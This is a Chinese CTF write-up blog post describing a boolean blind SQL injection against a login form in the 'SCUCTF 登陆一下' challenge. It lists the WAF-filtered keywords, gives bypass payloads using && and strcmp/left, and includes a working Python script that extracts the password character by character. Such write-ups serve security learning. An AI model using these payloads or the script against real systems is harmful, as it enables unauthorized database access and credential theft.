CTF打怪升级录: sqli-SCUCTF-登陆一下

这题比起实验吧的那个WAF要复杂一点,然后write up我还没搜过,先自己写一写。

题目链接

登陆一下

解题思路

寻找注入点

首先管他什么题,点开就查看页面源码总是不亏的,果然这道题的flag——不是,hint就在页面源码的最下面:
hint

也就是说这道题虽然是需要账号密码,但实际上我们只需要拿到密码就ok,重点是不需要爆破数据库的各种名字,感觉工作量少了一大半。
接下来就用用户名admin和随便填的弱口令去试探一下,发现这题两个参数:uname和pwd,均使用post方法发送,直接上burpsuite。
然后在uname和pwd两个参数后面分别加’试一试,发现uname参数后加’时回显有明显变化,而pwd参数后加’时回显无变化,确定注入点在uname参数上。
uname的回显信息如下:

  • 数据库查询到数据:password error!
  • 数据库没有查询到数据或sql语句出错:no such user!
  • 触发WAF:naive(呵呵)

绕过WAF

很明显,又是一道布尔型盲注,那就先惯例上基本的注入语句试探一下WAF。
既然知道了目标字段是pwd,那就简单粗暴点:
输入

1
uname=admin' and length(pwd)>10;#&pwd=admin

输出
试探WAF

预料中的结果,接下来就换不同的输入试探WAF,发现以下输入被WAF过滤了:

  • and
  • 空格
  • mid
  • substr
  • substring
  • sleep
  • select

and被过滤掉了比较不好办,于是尝试替换成%26%26(&&),发现是可行的:
&&未被绕过

空格虽然被过滤了,但是所幸括号没有被过滤,所以空格被过滤无关紧要。

可以看到盲注中重要的函数mid\substr\substring全被WAF挡下来了,但是还有两个函数被忽略了,strcmp和left是可以使用的:
strcmp+left可用

到这里就WAF就被我们成功绕过了,接下来就是愉快的代码时间~

编写脚本

首先要说明一点,pwd的长度是我手工注入得出的,这里就没有写进代码里。
还需要注意的是构造post方法的data时,不要使用url编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#author: sinex8
#write for: http://120.78.66.77:84/fb69d7b4467e33c71b0153e62f7e2bf0/

import requests

def getPwd():
Pwd = ""
temp_pwd = ""
Plen = 30
print(Plen)
for i in range(1,Plen+1):
for p in payload:
temp_pwd = Pwd + p
data = {"uname":'''admin'&&(strcmp(left(pwd,{}),'{}')=0);#'''.format(i,temp_pwd) ,"pwd":"admin"}
r = session.post(url, data)
if r.text.find('password error!') >= 0:
Pwd = temp_pwd
break
print(i,":",Pwd)
return Pwd

def main():
global url
global session
global payload
url = 'http://120.78.66.77:84/fb69d7b4467e33c71b0153e62f7e2bf0/'
session = requests.Session()
payload = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_,:-{}'"

print("{+}start injecting...")
print("{+}the pwd is:", getPwd())


if __name__ == '__main__':
main()

总结

其实后来想了一下,strcmp和left函数没有必要一起用,只用left函数也是可以的。
这道题比实验吧的那道要复杂一点,WAF过滤了常用的函数,足以吓到我这样的菜鸡,不过还不算变态,反正多学习了解sql中的函数是很有必要的!

参考链接

文章作者: SineX8
文章链接: http://sinex8.github.io/2019/06/22/CTF打怪升级录-sqli-SCUCTF-登陆一下/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 SineX8's Area